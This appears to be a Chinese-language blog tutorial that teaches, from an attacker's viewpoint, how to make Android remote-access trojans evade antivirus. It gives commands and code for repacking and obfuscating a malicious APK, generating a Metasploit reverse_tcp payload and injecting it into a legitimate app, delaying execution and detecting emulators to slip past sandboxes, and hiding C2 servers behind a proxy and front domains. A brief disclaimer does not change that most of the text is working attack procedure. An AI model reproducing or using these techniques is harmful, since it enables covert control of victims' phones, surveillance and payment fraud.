一、一次真实的安全事件引发的思考

还记得去年一次令人印象深刻的新闻，大量安卓用户在下载了一款看似无害的游戏应用后，手机频繁出现广告弹窗，甚至一些用户反馈出现了非本人授权的支付记录。这款应用被发现内嵌了一种高隐匿性的手机远控木马（RAT），不仅实现了隐蔽控制，还成功绕过了主流杀毒软件的检测。当时我在分析这个事件时，注意到其中的免杀技术非常精妙，于是萌生了复现并深挖类似技术的想法。

这篇文章，我会带大家从攻击者的视角，深度解析手机木马的免杀技巧。文章包含完整的攻击链，从构造恶意Payload到实现免杀，再到上线并持续控制目标设备。本文仅限在授权测试环境中进行研究，切勿用于非法用途！

---

二、构造Payload的第一步：绕过静态查杀

静态查杀的原理

目前主流杀毒软件在检测安卓木马时，首先会通过静态分析对APK文件进行扫描。其检测逻辑通常包括以下几种策略：

  1. 特征字符串匹配：查找是否包含已知恶意代码特征，例如某些危险的函数调用或类名。
  2. 权限分析：高危权限（如 READ_SMS, WRITE_EXTERNAL_STORAGE 等）往往会触发警报。
  3. 文件结构分析：检查 APK 是否包含反编译后可疑文件。

为了突破静态查杀，我们必须在这几个环节动手脚。

---

静态免杀策略一：混淆与重打包

有一次我在分析一款知名 RAT 时发现，它采用了一种非常简单但有效的静态免杀技巧——通过混淆和重打包隐藏恶意代码。以下是这种方法的实现步骤：

黑客示意图

1. 使用Apktool解包恶意APK

<pre><code class="language-bash">apktool d original_malware.apk -o unpacked</code></pre> 这一步将 APK 解包，得到完整的文件结构，主要关注 smali 目录，它包含了反编译后的 Java 字节码。

2. 代码混淆

对于恶意代码的核心逻辑部分，可以通过修改变量名、类名以及函数名来进行手工混淆。例如，将 ConnectToServer 类重命名为 C2S，将 sendPayload 函数重命名为 sP。 以下是一个简单的 Ruby 脚本实现批量修改 smali 文件中的特征：

黑客示意图

<pre><code class="language-ruby">Dir.glob(&#039;unpacked/smali/*/.smali&#039;).each do |file| content = File.read(file) content.gsub!(/ConnectToServer/, &#039;C2S&#039;) # 替换类名 content.gsub!(/sendPayload/, &#039;sP&#039;) # 替换函数名 File.write(file, content) end</code></pre>

3. 替换应用签名

静态分析工具通常会直接标记被知名恶意签名签署的 APK 文件。因此，我们需要重签名。用以下步骤实现： <pre><code class="language-bash"># 删除原始签名 rm -rf unpacked/META-INF/

重打包APK

apktool b unpacked -o modified_malware.apk

重新签名

jarsigner -keystore my-release-key.keystore -storepass password modified_malware.apk myalias</code></pre>

通过以上步骤，恶意代码的特征已经基本被掩盖，既避免了特征匹配检测，也绕过了签名标记。

---

静态免杀策略二：无特征代码注入

一些查杀引擎会直接检测 APK 中是否存在已知的恶意代码段。如果直接使用成熟木马工具生成的 Payload，很可能被识别。因此我们可以采用无特征代码注入的方式。

以下是一个简单的例子：使用 Metasploit 生成安卓木马的 APK 文件，然后将其核心逻辑手动注入到一个正常的 APK 中。

Step1：生成恶意Payload

<pre><code class="language-bash">msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o payload.apk</code></pre>

Step2：提取恶意逻辑

解包 payload.apk，手动提取其恶意逻辑，如 MainActivity.smali 中的核心代码部分。然后通过逻辑拆分、伪装成无害功能模块，手动注入到目标 APK 中。

Step3：合并并重打包

将修改后的 APK 文件重新打包并签名，具体过程与前述类似。

---

三、动态免杀：突破行为分析

静态查杀并不是唯一的障碍，主流杀毒软件还会通过模拟器运行 APK，以检测其行为是否存在恶意特征。我们需要设计一些动态免杀策略，来应对这样的检测。

---

动态免杀策略一：延迟执行

很多杀毒软件在模拟器中运行 APK 的时间非常有限，通常在检测到恶意行为前就会停止。因此，可以通过延迟执行恶意逻辑来绕过动态检测。

以下是一个伪代码示例，展示了如何通过延迟执行来隐藏恶意行为：

<pre><code class="language-java">new Handler().postDelayed(new Runnable() { @Override public void run() { // 恶意代码逻辑 connectToServer(); } }, 30000); // 延迟30秒执行</code></pre>

将恶意行为延迟到 30 秒后，再触发核心逻辑。在很多情况下，杀毒软件的动态分析时间范围会小于这个时间，从而避免暴露。

---

动态免杀策略二：检测运行环境

通过检测运行环境，我们可以判断当前是否处于模拟器中。如果是模拟器，则停止恶意行为，以避免被检测到。

以下是一个常用的 Java 实现： <pre><code class="language-java">public boolean isEmulator() { String[] knownEmulatorIps = {&quot;10.0.2.15&quot;, &quot;10.0.2.2&quot;}; String ip = getLocalIpAddress(); for (String emulatorIp : knownEmulatorIps) { if (emulatorIp.equals(ip)) { return true; } } return Build.FINGERPRINT.contains(&quot;generic&quot;) || Build.MODEL.contains(&quot;Emulator&quot;); }</code></pre>

---

四、上线与控制：C2基础设施的隐匿性设计

当木马成功免杀并安装在目标设备后，我们需要建立一个可靠的 C2（Command & Control）通信通道，同时确保 C2 的隐匿性。

---

C2通信的隐匿技巧

  1. 使用常见协议伪装通信

    2. 通过将恶意流量伪装成合法的 HTTPS 或 DNS 请求，来绕过流量检测。例如，可以将恶意指令伪装成 HTTPS 中的 POST 数据，或者嵌入 DNS 查询包中。

  1. 域前置技术

    2. 通过将 C2 流量中转到知名云服务（如 Cloudflare/CDN），隐藏真实的 C2 地址。以下是 Nginx 配置的一个示例： `nginx server { listen 80; server_name example.com;

location / { proxy_pass http://real-c2-ip:8080; proxy_set_header Host real-c2-ip; } } `

黑客示意图

  1. 动态域名（DDNS）

    2. 使用动态 DNS 服务定期变更 C2 地址，增加溯源难度。

---

五、个人总结：攻防博弈的启示

在这篇文章中，我通过模拟真实的攻击链，展示了从构造Payload到实现免杀，再到上线控制的全过程。这些技术的核心思想是：始终站在攻击者的视角，思考如何突破防守者的策略。

黑客示意图

不过，作为安全研究者，我们的目标并非制造破坏，而是通过研究攻击技术，帮助防御者提升检测能力。希望这篇文章能给大家一些启发，在攻防对抗中不断精进自己的技能。